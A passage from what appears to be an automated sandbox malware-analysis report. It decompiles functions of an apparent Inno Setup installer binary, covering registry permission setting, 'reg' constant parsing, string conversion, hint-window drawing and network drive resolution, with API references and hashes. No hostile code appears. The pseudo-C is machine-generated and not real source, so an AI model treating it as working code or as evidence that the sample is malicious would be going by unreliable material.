				_push( *[fs:eax]);
				 *[fs:eax] = _t91;
				 *_t65 = E0041B390(_v16, 0,  &_v32);
				_pop(_t85);
				 *[fs:eax] = _t85;
				_push(E0041BC8B);
				return DeleteObject(_v16);
			}

0x0041bb9d
0x0041bb9f
0x0041bba4
0x0041bba7
0x0041bba9
0x0041bbb3
0x0041bbbd
0x0041bbc3
0x0041bbe3
0x0041bbed
0x0041bbf2
0x0041bbf4
0x0041bbf6
0x0041bbfb
0x0041bc02
0x0041bc04
0x0041bc04
0x0041bc0b
0x0041bc0c
0x0041bc11
0x0041bc14
0x0041bc17
0x0041bc26
0x0041bc29
0x0041bc2e
0x0041bc32
0x0041bc33
0x0041bc38
0x0041bc39
0x0041bc3c
0x0041bc3d
0x0041bc42
0x0041bc49
0x0041bc4b
0x0041bc4b
0x0041bc52
0x0041bc53
0x0041bc58
0x0041bc5b
0x0041bc6b
0x0041bc6f
0x0041bc72
0x0041bc75
0x0041bc83

APIs

GetSystemMetrics.USER32 ref: 0041BBAE
GetSystemMetrics.USER32 ref: 0041BBB8
73AFAC50.USER32(00000000,00000001,0000000C,0000000B,?,?), ref: 0041BBF6
73AFA7F0.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BD61,?,00000000,00000001,0000000C,0000000B,?,?), ref: 0041BC3D
DeleteObject.GDI32(00000000), ref: 0041BC7E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: MetricsSystem$DeleteObject
String ID:
API String ID: 4263548647-0
Opcode ID: 7c4990574808dd91df47bf9e931a4c3972f81ae63d9c954261cd2d6ea3640d76
Instruction ID: 32119a26df4cb6bcef4669d98e6894d96ddea8bfc510c44308949a3da23dba00
Opcode Fuzzy Hash: 7c4990574808dd91df47bf9e931a4c3972f81ae63d9c954261cd2d6ea3640d76
Instruction Fuzzy Hash: A9318274E00609EFDB04DFA5C981AAEB7F4EB48700F10856AF914AB381D7789E40DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0046CAFC Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E0046CAFC(char __eax, void* __ebx, intOrPtr __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v5;
				char _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _t30;
				signed int _t34;
				intOrPtr _t56;
				intOrPtr _t64;
				void* _t69;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v28 = 0;
				_t64 = __ecx;
				_t66 = __edx;
				_v5 = __eax;
				_t46 = _a4;
				_push(_t69);
				_push(0x46cbd0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t69 + 0xffffffe0;
				if(_a4 != 0xffffffff) {
					E00451920(__edx,  &_v28);
					_v24 = _v28;
					_v20 = 0xb;
					_v16 = _t64;
					_v12 = 0xb;
					E00455538("Setting permissions on registry key: %s\\%s", _t46, 1,  &_v24, _t64, __edx);
					_t30 =  *0x4901ac; // 0x22f59e8
					_t47 = E0040B420(_t30, _t46);
					_t34 = E0040358C( *_t31);
					asm("cdq");
					if(E00459F24(_v5, _t47, _t64, __edx, _t64, __edx, _t34 / 0x14,  *_t47) == 0) {
						if(GetLastError() != 2) {
							_v36 = GetLastError();
							_v32 = 0;
							E00455538("Failed to set permissions on registry key (%d).", _t47, 0,  &_v36, _t64, _t66);
						} else {
							E00455348("Could not set permissions on the registry key because it currently does not exist.", _t47, _t64, _t66);
						}
					}
				}
				_pop(_t56);
				 *[fs:eax] = _t56;
				_push(0x46cbd7);
				return E00403418( &_v28);
			}

0x0046cb02
0x0046cb03
0x0046cb04
0x0046cb07
0x0046cb0a
0x0046cb0c
0x0046cb0e
0x0046cb11
0x0046cb16
0x0046cb17
0x0046cb1c
0x0046cb1f
0x0046cb25
0x0046cb30
0x0046cb38
0x0046cb3b
0x0046cb3f
0x0046cb42
0x0046cb53
0x0046cb5a
0x0046cb64
0x0046cb6b
0x0046cb75
0x0046cb87
0x0046cb91
0x0046cba4
0x0046cba7
0x0046cbb5
0x0046cb93
0x0046cb98
0x0046cb98
0x0046cb91
0x0046cb87
0x0046cbbc
0x0046cbbf
0x0046cbc2
0x0046cbcf

APIs

Part of subcall function 00459F24: SetLastError.KERNEL32(00000057,00000000,00459FF0,?,?,?,?,00000000), ref: 00459F8F

GetLastError.KERNEL32(00000000,00000000,00000000,0046CBD0,?,?,00000001,00490044), ref: 0046CB89
GetLastError.KERNEL32(00000000,00000000,00000000,0046CBD0,?,?,00000001,00490044), ref: 0046CB9F

Part of subcall function 00455348: GetLocalTime.KERNEL32(0048DC69,00000000,004554CF,?,?,00000000,0048F628,?,00473FBC,00000000,004740D7,?,?,00000000,0048F628,00000000), ref: 00455378

Strings

Failed to set permissions on registry key (%d)., xrefs: 0046CBB0
Could not set permissions on the registry key because it currently does not exist., xrefs: 0046CB93
Setting permissions on registry key: %s\%s, xrefs: 0046CB4E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorLast$LocalTime
String ID: Could not set permissions on the registry key because it currently does not exist.$Failed to set permissions on registry key (%d).$Setting permissions on registry key: %s\%s
API String ID: 3586426482-4018462623
Opcode ID: 212991e7bd44281d38ee64eb8ea41ad2c2505367129814574c622f1b40198d4c
Instruction ID: 151602ccadc489731ef6365da52f28a5e7e2f939e774e6eb354ce579e2e4186e
Opcode Fuzzy Hash: 212991e7bd44281d38ee64eb8ea41ad2c2505367129814574c622f1b40198d4c
Instruction Fuzzy Hash: 2F210A30A046049FCB00DBAED8826BEBBE5DB49314F50407BF444E7392E7786D058BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00403CBC Relevance: 7.6, APIs: 5, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00403CBC(char* __eax) {
				short _v2064;
				short* _t8;
				short* _t15;
				char* _t16;
				short* _t17;
				int _t18;
				int _t19;

				_t16 = __eax;
				_t18 = E0040358C(__eax);
				if(E0040358C(_t16) >= 0x400) {
					_t8 = MultiByteToWideChar(0, 0, _t16, _t18, 0, 0);
					_t19 = _t8;
					_push(_t19);
					_push(0);
					L004012C8();
					_t17 = _t8;
					MultiByteToWideChar(0, 0, _t16, _t18, _t17, _t19);
				} else {
					_push(MultiByteToWideChar(0, 0, E00403750(_t16), _t18,  &_v2064, 0x400));
					_t15 =  &_v2064;
					_push(_t15);
					L004012C8();
					_t17 = _t15;
				}
				return _t17;
			}

0x00403cc6
0x00403ccf
0x00403cdd
0x00403d14
0x00403d19
0x00403d1b
0x00403d1c
0x00403d1e
0x00403d23
0x00403d2d
0x00403cdf
0x00403cfb
0x00403cfc
0x00403d00
0x00403d01
0x00403d06
0x00403d06
0x00403d3e

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CF6
SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403D01
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403D14
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403D1E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403D2D

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: eccfed10b2dc3ba4ec014aec4ab33983c8d04f66a775d57591e3e531b44e769c
Instruction ID: 130462c07d05b28363deeaafe8667491fd09684ef10d5f25643daadcb478a337
Opcode Fuzzy Hash: eccfed10b2dc3ba4ec014aec4ab33983c8d04f66a775d57591e3e531b44e769c
Instruction Fuzzy Hash: B5F044617542043BE25065A65C43F6B198CCB81B5AF50497FB704FA1D1D8BCAD0443BD

Uniqueness

Uniqueness Score: -1.00%

Function 004143C4 Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E004143C4(intOrPtr* __eax, void* __ecx, signed int __edx, void* __eflags) {
				void* _v4;
				intOrPtr _v7;
				char _v19;
				intOrPtr _v36;
				char _v47;
				void* __ebx;
				signed int _t16;
				void* _t21;
				void* _t29;
				signed int _t30;
				intOrPtr* _t31;
				void* _t32;
				signed int* _t33;

				_t33 = _t32 + 0xfffffff8;
				 *_t33 = __edx;
				_t31 = __eax;
				_v19 = 0;
				_t29 = E00402C18(__eax, 0xffef, __ecx, __eflags);
				if(_t29 != 0) {
					_t21 =  *((intOrPtr*)( *_t31 + 0x30))();
					_t16 = ( *_t33 ^ 0x00000001) & 0x0000007f;
					_push(_t16);
					_push(_t29);
					_push(_t21);
					L00405D1C();
					_t30 = _t16;
					_push(_t21);
					L00405CDC();
					if(_t16 != 0) {
						 *((intOrPtr*)( *_t31 + 0x44))();
					}
					_push(1);
					_push(_t30);
					_push(_t21);
					L00405D1C();
					_push(_t21);
					L00405CDC();
					_push(_t21);
					_push(_v36);
					L00406104();
					_v47 = 1;
				}
				return _v7;
			}

0x004143c7
0x004143ca
0x004143cd
0x004143cf
0x004143df
0x004143e3
0x004143f0
0x004143f7
0x004143fa
0x004143fb
0x004143fc
0x004143fd
0x00414402
0x00414404
0x00414405
0x0041440c
0x00414412
0x00414412
0x00414415
0x00414417
0x00414418
0x00414419
0x0041441e
0x0041441f
0x00414424
0x00414429
0x0041442a
0x0041442f
0x0041442f
0x0041443d

APIs

73AFB410.GDI32(00000000,00000000,00000000), ref: 004143FD
73AFB150.GDI32(00000000,00000000,00000000,00000000), ref: 00414405
73AFB410.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00414419
73AFB150.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 0041441F
73AFB380.USER32(00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 0041442A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: B150B410$B380
String ID:
API String ID: 2237492430-0
Opcode ID: b9d2523b3a2e97aa47ab5b42f10b24f9ea142fcf701ed100683c4f8a4ee59ce7
Instruction ID: e5d33d34636a3f5f5a8a9912c05a8f41f60f5991d540ab00ff2c74128b4d6dab
Opcode Fuzzy Hash: b9d2523b3a2e97aa47ab5b42f10b24f9ea142fcf701ed100683c4f8a4ee59ce7
Instruction Fuzzy Hash: F3017C752183806EE200B6398C85A9F6BDD9FDA714F19446AF494DB283DA79CC018765

Uniqueness

Uniqueness Score: -1.00%

Function 00471ABC Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210
registryCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00471ABC(char __eax, intOrPtr* __ebx, intOrPtr __edx, char __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v29;
				intOrPtr _v36;
				void* _v40;
				char _v44;
				char _t104;
				char _t164;
				char _t165;
				void* _t174;
				intOrPtr _t194;
				void* _t217;
				void* _t218;
				void* _t222;
				void* _t236;
				void* _t240;

				_t215 = __edi;
				_t173 = __ebx;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v44 = 0;
				_v16 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_v12 = __edx;
				_v8 = __eax;
				E00403740(_v8);
				_push(_t222);
				_push(0x471d59);
				_push( *[fs:eax]);
				 *[fs:eax] = _t222 + 0xffffffd8;
				E004037D0( &_v8, 4, 1);
				_t217 = E0042D69C(0x5c, 4, _v8);
				if(_t217 == 0) {
					L24:
					E00451710("Failed to parse \"reg\" constant", _t173, _t215, _t217, _t236);
					L25:
					_pop(_t194);
					 *[fs:eax] = _t194;
					_push(E00471D60);
					E00403418( &_v44);
					E00403438( &_v28, 4);
					return E00403418( &_v8);
				}
				E00403790(_v8, _t217 - 1, 1,  &_v16);
				if(_v16 == 0) {
					goto L24;
				} else {
					_t104 =  *0x48eb48; // 0x1
					_v29 = _t104;
					_t174 = E0040358C(_v16);
					if(_t174 >= 2) {
						if( *((char*)(_v16 + _t174 - 2)) != 0x33 ||  *((char*)(_v16 + _t174 - 1)) != 0x32) {
							_t164 = _v16;
							__eflags =  *((char*)(_t164 + _t174 - 2)) - 0x36;
							if( *((char*)(_t164 + _t174 - 2)) == 0x36) {
								_t165 = _v16;
								__eflags =  *((char*)(_t165 + _t174 - 1)) - 0x34;
								if( *((char*)(_t165 + _t174 - 1)) == 0x34) {
									__eflags =  *0x490230;
									if(__eflags == 0) {
										E00451710("Cannot access a 64-bit key in a \"reg\" constant on this version of Windows", _t174, _t215, _t217, __eflags);
									}
									_v29 = 2;
									__eflags = _t174 - 2;
									E004038BC( &_v16, _t174 - 2);
								}
							}
						} else {
							_v29 = 1;
							E004038BC( &_v16, _t174 - 2);
						}
					}
					_v36 = 0;
					_t215 = 5;
					_t173 = 0x48eb50;
					while(E00406A24( *_t173, _v16) != 0) {
						_t173 = _t173 + 8;
						_t215 = _t215 - 1;
						__eflags = _t215;
						if(__eflags != 0) {
							continue;
						}
						L15:
						if(_v36 == 0) {
							goto L24;
						}
						_t38 = _t217 + 1; // 0x1
						E00403790(_v8, 0x7fffffff, _t38,  &_v16);
						_t218 = E0042D69C(0x7c, 0x7fffffff, _v16);
						if(_t218 == 0) {
							_t218 = E0040358C(_v16) + 1;
						}
						_t43 = _t218 + 1; // 0x2
						E00403790(_v16, 0x7fffffff, _t43,  &_v28);
						E004038BC( &_v16, _t218 - 1);
						_t217 = E0042D69C(0x2c, 0x7fffffff, _v16);
						if(_t217 == 0) {
							goto L24;
						} else {
							E00403790(_v16, _t217 - 1, 1,  &_v20);
							_t50 = _t217 + 1; // 0x1
							E00403790(_v16, 0x7fffffff, _t50,  &_v24);
							E0042D598( &_v20, _t173, _t215, _t217);
							_t236 = 0x2c;
							if(0x2c == 0) {
								goto L24;
							}
							E0042D598( &_v24, _t173, _t215, _t217);
							_t236 = 0x2c;
							if(0x2c == 0 || E0042D598( &_v28, _t173, _t215, _t217) == 0) {
								goto L24;
							} else {
								E00473810(_v28, _t173,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t215, _t217, _t240, _v12);
								E00473810(_v20, _t173,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t215, _t217, _t240,  &_v44);
								if(E0042DC1C(_v29, E00403750(_v44), _v36,  &_v40, 1, 0) == 0) {
									E00473810(_v24, _t173,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t215, _t217, _t240,  &_v44);
									E00403750(_v44);
									E0042DB4C();
									RegCloseKey(_v40);
								}
								goto L25;
							}
						}
					}
					_t34 = _t173 + 4; // 0x80000000
					_v36 =  *_t34;
					goto L15;
				}
			}

0x00471abc
0x00471abc
0x00471ac2
0x00471ac3
0x00471ac4
0x00471ac7
0x00471aca
0x00471acd
0x00471ad0
0x00471ad3
0x00471ad6
0x00471ad9
0x00471adf
0x00471ae6
0x00471ae7
0x00471aec
0x00471aef
0x00471aff
0x00471b0e
0x00471b12
0x00471d24
0x00471d29
0x00471d2e
0x00471d30
0x00471d33
0x00471d36
0x00471d3e
0x00471d4b
0x00471d58
0x00471d58
0x00471b27
0x00471b30
0x00000000
0x00471b36
0x00471b36
0x00471b3b
0x00471b46
0x00471b4b
0x00471b55
0x00471b74
0x00471b77
0x00471b7c
0x00471b7e
0x00471b81
0x00471b86
0x00471b88
0x00471b8f
0x00471b96
0x00471b96
0x00471b9b
0x00471ba1
0x00471ba7
0x00471ba7
0x00471b86
0x00471b61
0x00471b61
0x00471b6d
0x00471b6d
0x00471b55
0x00471bae
0x00471bb1
0x00471bb6
0x00471bbb
0x00471bd1
0x00471bd4
0x00471bd4
0x00471bd5
0x00000000
0x00000000
0x00471bd7
0x00471bdb
0x00000000
0x00000000
0x00471be5
0x00471bf0
0x00471bff
0x00471c03
0x00471c0f
0x00471c0f
0x00471c14
0x00471c1f
0x00471c2a
0x00471c39
0x00471c3d
0x00000000
0x00471c43
0x00471c52
0x00471c5b
0x00471c66
0x00471c6e
0x00471c73
0x00471c75
0x00000000
0x00000000
0x00471c7e
0x00471c83
0x00471c85
0x00000000
0x00471c9b
0x00471cae
0x00471cce
0x00471cea
0x00471cff
0x00471d07
0x00471d14
0x00471d1d
0x00471d1d
0x00000000
0x00471cea
0x00471c85
0x00471c3d
0x00471bc9
0x00471bcc
0x00000000
0x00471bcc

APIs

RegCloseKey.ADVAPI32(?,?,?,?,00000001,00000000,00000000,00473217,?,00000000,00000000,00000001,00000000,00471D59,?,00000000), ref: 00471D1D

Strings

Cannot access a 64-bit key in a "reg" constant on this version of Windows, xrefs: 00471B91
&0G, xrefs: 00471CDD
Failed to parse "reg" constant, xrefs: 00471D24

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Close
String ID: &0G$Cannot access a 64-bit key in a "reg" constant on this version of Windows$Failed to parse "reg" constant
API String ID: 3535843008-3943469032
Opcode ID: ad2ae07570c644154d8923a28d9286c281c1c8999e92ddb6ccca4d09835b0404
Instruction ID: d683e9762bec71dee46ea87895c2867c1f0da78df2ffc48c04af2428528d0d28
Opcode Fuzzy Hash: ad2ae07570c644154d8923a28d9286c281c1c8999e92ddb6ccca4d09835b0404
Instruction Fuzzy Hash: D0813374E001089FDB11EF99C585ADEBBF9AF48314F10C56BE814A73A1D738AE45CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00424CC4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00424CC4(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v33;
				intOrPtr _v40;
				char _v44;
				struct tagRECT _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				int _v72;
				int _v76;
				char _v80;
				struct tagRECT _v96;
				int _v100;
				char _v104;
				void _v120;
				char _v124;
				CHAR* _t153;
				void* _t183;
				intOrPtr _t202;
				intOrPtr* _t226;
				intOrPtr* _t228;
				void* _t232;

				_v124 = 0;
				_v32 = 0;
				asm("movsd");
				asm("movsd");
				_t183 = __eax;
				_push(_t232);
				_push(0x424f16);
				_push( *[fs:eax]);
				 *[fs:eax] = _t232 + 0xffffff88;
				 *((char*)(__eax + 0x38)) = 0;
				if( *((char*)(__eax + 0x64)) == 0 ||  *((intOrPtr*)(__eax + 0x40)) == 0 ||  *((intOrPtr*)(__eax + 0x60)) == 0 || E0041F058() == 0) {
					L13:
					E00424C9C(_t183);
				} else {
					_t226 =  *((intOrPtr*)(_t183 + 0x40));
					_v80 = _t226;
					 *((intOrPtr*)( *_t226 + 0x28))();
					_v76 = _v104;
					_v72 = _v100;
					_v72 = _v72 +  *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x40)) + 0x30)) + 6;
					_v68 = E0042318C();
					_v64 =  *((intOrPtr*)(_t183 + 0x3c));
					E00414640( *((intOrPtr*)(_t183 + 0x40)),  &_v120);
					memcpy( &_v60,  &_v120, 4 << 2);
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x40)))) + 0x28))();
					_t228 =  *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x40)) + 0x20));
					if(_t228 == 0) {
						E0040AC04(0,  &_v28, 0);
					} else {
						 *((intOrPtr*)( *_t228 + 0x28))();
					}
					OffsetRect( &_v60, _v28 - _v20, _v24 - _v16);
					_t42 =  &_v12; // 0x424c5a
					E004147A0( *((intOrPtr*)(_t183 + 0x40)),  &_v104, _t42);
					_v44 = _v104;
					_v40 = _v100;
					E0042344C( *((intOrPtr*)(_t183 + 0x40)),  &_v124);
					E00413910(_v124,  &_v104,  &_v32);
					_v33 = E00415224( *((intOrPtr*)(_t183 + 0x40)), 0, 0xb030,  &_v80) == 0;
					if(_v33 != 0 &&  *((short*)(_t183 + 0xc6)) != 0) {
						 *((intOrPtr*)(_t183 + 0xc4))( &_v80);
					}
					 *((char*)(_t183 + 0x38)) = _v33;
					if(_v33 == 0 || _v32 == 0) {
						goto L13;
					} else {
						E0040AC38(0, _v68, 0,  &_v96, 0);
						_t153 = E00403750(_v32);
						DrawTextA(E0041B078( *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x60)) + 0xfc))), _t153, 0xffffffff,  &_v96, 0xc10);
						OffsetRect( &_v96, _v76, _v72);
						_v96.right = _v96.right + 6;
						_v96.bottom = _v96.bottom + 2;
						E00414774( *((intOrPtr*)(_t183 + 0x40)),  &_v104,  &_v60);
						 *((intOrPtr*)(_t183 + 0x44)) = _v104;
						 *((intOrPtr*)(_t183 + 0x48)) = _v100;
						E00414774( *((intOrPtr*)(_t183 + 0x40)),  &_v104,  &(_v60.right));
						 *((intOrPtr*)(_t183 + 0x4c)) = _v104;
						 *((intOrPtr*)(_t183 + 0x50)) = _v100;
						E00414C10( *((intOrPtr*)(_t183 + 0x60)), _v64);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x60)))) + 0x80))();
						E00423548(_v32);
						E00424B10(_t183, 1,  *((intOrPtr*)(_t183 + 0x5c)));
					}
				}
				_pop(_t202);
				 *[fs:eax] = _t202;
				_push(0x424f1d);
				E00403418( &_v124);
				return E00403418( &_v32);
			}

0x00424ccf
0x00424cd2
0x00424cda
0x00424cdb
0x00424cdc
0x00424ce0
0x00424ce1
0x00424ce6
0x00424ce9
0x00424cec
0x00424cf4
0x00424ef1
0x00424ef3
0x00424d1b
0x00424d1b
0x00424d1e
0x00424d28
0x00424d2e
0x00424d34
0x00424d40
0x00424d4d
0x00424d53
0x00424d5c
0x00424d6c
0x00424d76
0x00424d7c
0x00424d81
0x00424d96
0x00424d83
0x00424d8a
0x00424d8a
0x00424dad
0x00424db5
0x00424dbb
0x00424dc3
0x00424dc9
0x00424dd2
0x00424ddd
0x00424df7
0x00424dff
0x00424e1b
0x00424e1b
0x00424e24
0x00424e2b
0x00000000
0x00424e3b
0x00424e48
0x00424e5b
0x00424e70
0x00424e81
0x00424e86
0x00424e8a
0x00424e97
0x00424e9f
0x00424ea5
0x00424eb1
0x00424eb9
0x00424ebf
0x00424ec8
0x00424ed8
0x00424ede
0x00424eea
0x00424eea
0x00424e2b
0x00424efa
0x00424efd
0x00424f00
0x00424f08
0x00424f15

APIs

Part of subcall function 0041F058: GetActiveWindow.USER32 ref: 0041F05B
Part of subcall function 0041F058: GetCurrentThreadId.KERNEL32 ref: 0041F070
Part of subcall function 0041F058: 73AFAC10.USER32(00000000,Function_0001F034), ref: 0041F076

Part of subcall function 0042318C: GetSystemMetrics.USER32 ref: 0042318E

OffsetRect.USER32(?,?,?), ref: 00424DAD
DrawTextA.USER32(00000000,00000000,000000FF,?,00000C10), ref: 00424E70
OffsetRect.USER32(?,?,?), ref: 00424E81

Part of subcall function 00423548: GetCurrentThreadId.KERNEL32 ref: 0042355D
Part of subcall function 00423548: SetWindowsHookExA.USER32 ref: 0042356D
Part of subcall function 00423548: CreateThread.KERNEL32 ref: 00423591

Part of subcall function 00424B10: SetTimer.USER32 ref: 00424B2B

Strings

ZLB, xrefs: 00424CD7, 00424DB5

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Thread$CurrentOffsetRect$ActiveCreateDrawHookMetricsSystemTextTimerWindowWindows
String ID: ZLB
API String ID: 1771318467-1517572801
Opcode ID: bce8392ff00dd967bb10aa01e6859cee21ac5368277394ea0e98dd9595a4e708
Instruction ID: 63cb71acd3104e73ed6fc4d364f61f1193248ff3399ee0993d53c82e8fb04522
Opcode Fuzzy Hash: bce8392ff00dd967bb10aa01e6859cee21ac5368277394ea0e98dd9595a4e708
Instruction Fuzzy Hash: A1813571A00218CFDB14DFA8C884ADEBBF4FF49314F51416AE904AB296E738AE45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406F3C Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 156
shareCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00406F3C(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				intOrPtr _v12;
				int _v16;
				int _v20;
				int _v24;
				char _v25;
				void* _v32;
				void* _v36;
				void _v1060;
				char _v1064;
				char _v1068;
				int _t76;
				void* _t113;
				intOrPtr _t116;
				signed int _t128;
				void* _t131;
				void* _t132;
				void* _t134;
				void* _t135;
				intOrPtr _t136;

				_t134 = _t135;
				_t136 = _t135 + 0xfffffbd8;
				_v1064 = 0;
				_v1068 = 0;
				_v12 = __edx;
				_v8 = __eax;
				_push(_t134);
				_push(0x407180);
				_push( *[fs:eax]);
				 *[fs:eax] = _t136;
				E004034AC(_v12, _v8);
				if( *0x48e0dc == 1) {
					_v25 = E004027B4( *_v8);
					if(_v25 >= 0x41 && _v25 <= 0x5a && E0040358C(_v8) >= 3 &&  *((char*)(_v8 + 1)) == 0x3a &&  *((char*)(_v8 + 2)) == 0x5c && WNetOpenEnumA(1, 1, 0, 0,  &_v32) == 0) {
						 *[fs:edx] = _t136;
						_v20 = 0x640;
						_v36 = E00402648(_v20,  *[fs:edx], 0x40715b, _t134);
						_push(_t134);
						_push(0x40713d);
						_push( *[fs:edx]);
						 *[fs:edx] = _t136;
						while(1) {
							L10:
							_v16 = 0xffffffff;
							_v24 = _v20;
							_t76 = WNetEnumResourceA(_v32,  &_v16, _v36,  &_v24);
							if(_t76 == 0xea) {
								break;
							}
							if(_t76 == 0) {
								_t131 = _v16 - 1;
								if(_t131 < 0) {
									continue;
								} else {
									_t132 = _t131 + 1;
									_t128 = 0;
									while(1) {
										_t107 = _v36 + (_t128 << 2) * 8;
										if( *((intOrPtr*)(_v36 + (_t128 << 2) * 8 + 0x10)) != 0 && E004027B4( *((intOrPtr*)( *((intOrPtr*)(_t107 + 0x10))))) == _v25) {
											break;
										}
										_t128 = _t128 + 1;
										_t132 = _t132 - 1;
										if(_t132 != 0) {
											continue;
										} else {
											goto L10;
										}
										goto L21;
									}
									E00403790(_v8, E0040358C(_v8) - 2, 3,  &_v1064);
									_push(_v1064);
									E00403544( &_v1068,  *((intOrPtr*)(_t107 + 0x14)));
									_pop(_t113);
									E004035D8(_v12, _t113, _v1068);
									E004031D4();
									E004031D4();
								}
							} else {
								E004031D4();
								E004031D4();
							}
							goto L21;
						}
						_v20 = _v24;
						E00402678( &_v36, _v20);
						goto L10;
					}
				} else {
					_v24 = 0x400;
					if(WNetGetUniversalNameA(E00403750(_v8), 1,  &_v1060,  &_v24) == 0) {
						E00403544(_v12, _v1060);
					}
				}
				L21:
				_pop(_t116);
				 *[fs:eax] = _t116;
				_push(E00407187);
				return E00403438( &_v1068, 2);
			}

0x00406f3d
0x00406f3f
0x00406f4a
